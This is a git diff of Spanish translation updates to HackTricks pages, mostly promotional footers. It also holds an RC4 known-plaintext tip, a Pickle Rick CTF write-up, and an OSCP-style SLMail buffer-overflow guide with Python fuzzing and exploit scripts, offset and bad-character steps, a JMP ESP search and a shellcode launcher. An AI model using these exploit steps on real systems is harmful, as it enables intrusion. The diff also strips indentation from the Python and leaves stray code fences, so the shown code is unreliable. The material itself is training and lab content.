+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
-Si de alguna manera puedes cifrar un texto plano usando RC4, puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) simplemente utilizando la función de cifrado.
+Si de alguna manera puedes cifrar un texto plano usando un RC4**,** puedes descifrar cualquier contenido cifrado por ese RC4 (usando la misma contraseña) solo usando la función de cifrado.
-Si puedes cifrar un texto plano conocido también puedes extraer la contraseña. Más referencias se pueden encontrar en la máquina HTB Kryptos:
+Si puedes cifrar un texto plano conocido, también puedes extraer la contraseña. Se pueden encontrar más referencias en la máquina HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
-
-
-
-
-
-
-
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
-
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
-
diff --git a/ctf-write-ups/README.md b/ctf-write-ups/README.md
index da2888e22..0639ad0d5 100644
--- a/ctf-write-ups/README.md
+++ b/ctf-write-ups/README.md
@@ -1,33 +1,17 @@
-Aprende a hackear AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-* [Write-up factory](https://writeup.raw.pm/) - Motor de búsqueda para encontrar write-ups \(TryHackMe, HackTheBox, etc.\)
-* [CTFtime Write-ups](https://ctftime.org/writeups) - Los write-ups más recientes añadidos a eventos de CTF en CTFtime
-
-
-
-
-
-Aprende a hackear AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
-
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
-
+* [Fábrica de write-ups](https://writeup.raw.pm/) - Motor de búsqueda para encontrar write-ups \(TryHackMe, HackTheBox, etc.\)
+* [Write-ups de CTFtime](https://ctftime.org/writeups) - Últimos write-ups añadidos a eventos de CTF en CTFtime
diff --git a/ctf-write-ups/try-hack-me/README.md b/ctf-write-ups/try-hack-me/README.md
index e5a039a50..e7e64cf08 100644
--- a/ctf-write-ups/try-hack-me/README.md
+++ b/ctf-write-ups/try-hack-me/README.md
@@ -1,14 +1,14 @@
-Aprende a hackear AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipo Rojo de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -17,14 +17,14 @@ Otras formas de apoyar a HackTricks:
-Aprende a hackear AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipo Rojo de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/ctf-write-ups/try-hack-me/pickle-rick.md b/ctf-write-ups/try-hack-me/pickle-rick.md
index 9ee9ce05e..1e58334a9 100644
--- a/ctf-write-ups/try-hack-me/pickle-rick.md
+++ b/ctf-write-ups/try-hack-me/pickle-rick.md
@@ -4,21 +4,21 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](../../.gitbook/assets/picklerick.gif)
-Esta máquina fue categorizada como fácil y realmente lo fue.
+Esta máquina fue categorizada como fácil y fue bastante sencilla.
## Enumeración
@@ -28,21 +28,21 @@ Comencé **enumerando la máquina usando mi herramienta** [**Legion**](https://g
Como puedes ver, hay 2 puertos abiertos: 80 (**HTTP**) y 22 (**SSH**)
-Entonces, lancé legion para enumerar el servicio HTTP:
+Así que lancé Legion para enumerar el servicio HTTP:
![](<../../.gitbook/assets/image (234).png>)
Nota que en la imagen puedes ver que `robots.txt` contiene la cadena `Wubbalubbadubdub`
-Después de algunos segundos revisé lo que `disearch` ya había descubierto:
+Después de unos segundos revisé lo que `disearch` ya había descubierto:
![](<../../.gitbook/assets/image (235).png>)
![](<../../.gitbook/assets/image (236).png>)
-Y como puedes ver en la última imagen, se descubrió una página de **inicio de sesión**.
+Y como puedes ver en la última imagen se descubrió una página de **inicio de sesión**.
-Revisando el código fuente de la página principal, se descubre un nombre de usuario: `R1ckRul3s`
+Revisando el código fuente de la página raíz, se descubre un nombre de usuario: `R1ckRul3s`
![](<../../.gitbook/assets/image (237) (1).png>)
@@ -54,11 +54,11 @@ Usando esas credenciales accederás a un portal donde puedes ejecutar comandos:
![](<../../.gitbook/assets/image (241).png>)
-Algunos comandos como cat no están permitidos pero puedes leer el primer ingrediente (bandera) usando, por ejemplo, grep:
+Algunos comandos como cat no están permitidos, pero puedes leer el primer ingrediente (bandera) usando, por ejemplo, grep:
![](<../../.gitbook/assets/image (242).png>)
-Luego utilicé:
+Luego usé:
![](<../../.gitbook/assets/image (243) (1).png>)
@@ -78,14 +78,14 @@ El usuario **www-data puede ejecutar cualquier cosa como sudo**:
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
index 80392b01a..0a47fd5b5 100644
--- a/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
+++ b/exploiting/windows-exploiting-basic-guide-oscp-lvl.md
@@ -1,76 +1,30 @@
-## Explotación de Windows (Guía Básica - Nivel OSCP)
+# Explotación de Windows (Guía Básica - Nivel OSCP)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+Otras formas de apoyar a HackTricks:
+
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## **Comenzar instalando el servicio SLMail**
+## **Comienza instalando el servicio SLMail**
## Reiniciar el servicio SLMail
-Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo usando la consola de Windows:
+Cada vez que necesites **reiniciar el servicio SLMail** puedes hacerlo utilizando la consola de Windows:
```
net start slmail
```
+![](<../.gitbook/assets/image (23) (1).png>)
+
## Plantilla de exploit básica en Python
-
-```python
-#!/usr/bin/python
-import socket
-
-# Create an array of buffers, from 10 to 2000, with increments of 20.
-buffer=["A"]
-counter=100
-while len(buffer) <= 30:
- buffer.append("A"*counter)
- counter=counter+200
-
-for string in buffer:
- print "Fuzzing PASS with %s bytes" % len(string)
- s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- connect=s.connect(('192.168.1.10',110))
- s.recv(1024)
- s.send('USER test\r\n')
- s.recv(1024)
- s.send('PASS '+string+'\r\n')
- s.send('QUIT\r\n')
- s.close()
-```
-
-Este es un ejemplo básico de plantilla de exploit en Python.
-
-```python
-#!/usr/bin/python
-import socket
-
-# Crea un array de buffers, desde 10 hasta 2000, con incrementos de 20.
-buffer=["A"]
-counter=100
-while len(buffer) <= 30:
- buffer.append("A"*counter)
- counter=counter+200
-
-for string in buffer:
- print "Fuzzing PASS con %s bytes" % len(string)
- s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- connect=s.connect(('192.168.1.10',110))
- s.recv(1024)
- s.send('USER test\r\n')
- s.recv(1024)
- s.send('PASS '+string+'\r\n')
- s.send('QUIT\r\n')
- s.close()
-```
-
-Este script crea un array de buffers de diferentes tamaños y envía una cadena de caracteres a un servidor de correo electrónico. El objetivo es encontrar la longitud máxima de caracteres que el servidor puede manejar sin fallar.
```python
#!/usr/bin/python
@@ -82,61 +36,61 @@ port = 110
buffer = 'A' * 2700
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
## **Cambiar la fuente de Immunity Debugger**
-Ir a `Opciones >> Apariencia >> Fuentes >> Cambiar (Consolas, Negrita, 9) >> Aceptar`
+Ve a `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
## **Adjuntar el proceso a Immunity Debugger:**
-**Archivo --> Adjuntar**
+**File --> Attach**
![](<../.gitbook/assets/image (24) (1) (1).png>)
-**Y presionar el botón INICIAR**
+**Y presiona el botón START**
-## **Enviar el exploit y verificar si EIP está afectado:**
+## **Enviar el exploit y verificar si EIP se ve afectado:**
![](<../.gitbook/assets/image (25) (1) (1).png>)
-Cada vez que se interrumpe el servicio, se debe reiniciar como se indica al principio de esta página.
+Cada vez que interrumpas el servicio, debes reiniciarlo como se indica al principio de esta página.
-## Crear un patrón para modificar EIP
+## Crear un patrón para modificar el EIP
-El patrón debe ser tan grande como el búfer que se utilizó para interrumpir el servicio anteriormente.
+El patrón debe ser tan grande como el búfer que usaste para interrumpir el servicio anteriormente.
![](<../.gitbook/assets/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
-Cambia el buffer del exploit y establece el patrón y lanza el exploit.
+Cambie el buffer del exploit y establezca el patrón y lance el exploit.
Debería aparecer un nuevo fallo, pero con una dirección EIP diferente:
![](<../.gitbook/assets/image (27) (1) (1).png>)
-Comprueba si la dirección estaba en tu patrón:
+Verifique si la dirección estaba en su patrón:
![](<../.gitbook/assets/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
-Parece que **podemos modificar el EIP en el offset 2606** del buffer.
+Parece que **podemos modificar el EIP en el desplazamiento 2606** del búfer.
-Compruébalo modificando el buffer del exploit:
+Verificarlo modificando el búfer del exploit:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
-Con este buffer, el EIP debería apuntar a 42424242 ("BBBB") y provocar un fallo.
+Con este buffer, el EIP que se estrelló debería apuntar a 42424242 ("BBBB")
![](<../.gitbook/assets/image (30) (1) (1).png>)
@@ -144,14 +98,15 @@ Con este buffer, el EIP debería apuntar a 42424242 ("BBBB") y provocar un fallo
Parece que está funcionando.
-## Comprobar si hay espacio para shellcode en la pila
+## Verificar espacio para Shellcode dentro del stack
600B deberían ser suficientes para cualquier shellcode potente.
-Cambiemos el buffer:
+Vamos a cambiar el buffer:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
+```html
lanza el nuevo exploit y verifica el EBP y la longitud del shellcode útil
![](<../.gitbook/assets/image (31) (1).png>)
@@ -160,11 +115,12 @@ lanza el nuevo exploit y verifica el EBP y la longitud del shellcode útil
Puedes ver que cuando se alcanza la vulnerabilidad, el EBP apunta al shellcode y que tenemos mucho espacio para ubicar un shellcode aquí.
-En este caso, tenemos **desde 0x0209A128 hasta 0x0209A2D6 = 430B.** Suficiente.
+En este caso tenemos **desde 0x0209A128 hasta 0x0209A2D6 = 430B.** Suficiente.
-## Verificar caracteres no permitidos
+## Verificar caracteres no válidos
-Cambia de nuevo el buffer:
+Cambia nuevamente el búfer:
+```
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@@ -188,15 +144,15 @@ buffer = 'A'*2606 + 'BBBB' + badchars
```
Los badchars comienzan en 0x01 porque 0x00 casi siempre es malo.
-Ejecute repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentren inútiles:
+Ejecuta repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentren inútiles:.
Por ejemplo:
-En este caso, se puede ver que **no se debe usar el carácter 0x0A** (nada se guarda en la memoria desde el carácter 0x09).
+En este caso puedes ver que **no debes usar el carácter 0x0A** (nada se guarda en la memoria desde el carácter 0x09).
![](<../.gitbook/assets/image (33) (1).png>)
-En este caso, se puede ver que **se evita el carácter 0x0D**:
+En este caso puedes ver que **se evita el carácter 0x0D**:
![](<../.gitbook/assets/image (34) (1).png>)
@@ -206,7 +162,7 @@ Usando:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
-Se va a **listar los mapas de memoria**. Busque alguna DLL que tenga:
+Debes **enumerar los mapas de memoria**. Busca alguna DLL que tenga:
* **Rebase: False**
* **SafeSEH: False**
@@ -216,7 +172,7 @@ Se va a **listar los mapas de memoria**. Busque alguna DLL que tenga:
![](<../.gitbook/assets/image (35) (1).png>)
-Ahora, dentro de esta memoria debería encontrar algunos bytes JMP ESP, para hacerlo ejecute:
+Ahora, dentro de esta memoria debes encontrar algunos bytes JMP ESP, para hacerlo ejecuta:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
@@ -273,18 +229,18 @@ shellcode = (
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
- print "\nLaunching exploit..."
- s.connect((ip, port))
- data = s.recv(1024)
- s.send('USER username' +'\r\n')
- data = s.recv(1024)
- s.send('PASS ' + buffer + '\r\n')
- print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
except:
- print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
```
{% hint style="warning" %}
-Existen shellcodes que se **sobrescriben a sí mismos**, por lo tanto es importante siempre agregar algunos NOPs antes del shellcode.
+Existen shellcodes que se **sobrescribirán a sí mismos**, por lo tanto, es importante siempre agregar algunos NOPs antes del shellcode
{% endhint %}
## Mejorando el shellcode
@@ -295,12 +251,14 @@ EXITFUNC=thread -e x86/shikata_ga_nai
```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+Otras formas de apoyar a HackTricks:
+
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/generic-methodologies-and-resources/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md
index aba62af33..036a54ba3 100644
--- a/generic-methodologies-and-resources/pentesting-wifi/README.md
+++ b/generic-methodologies-and-resources/pentesting-wifi/README.md
@@ -2,15 +2,15 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
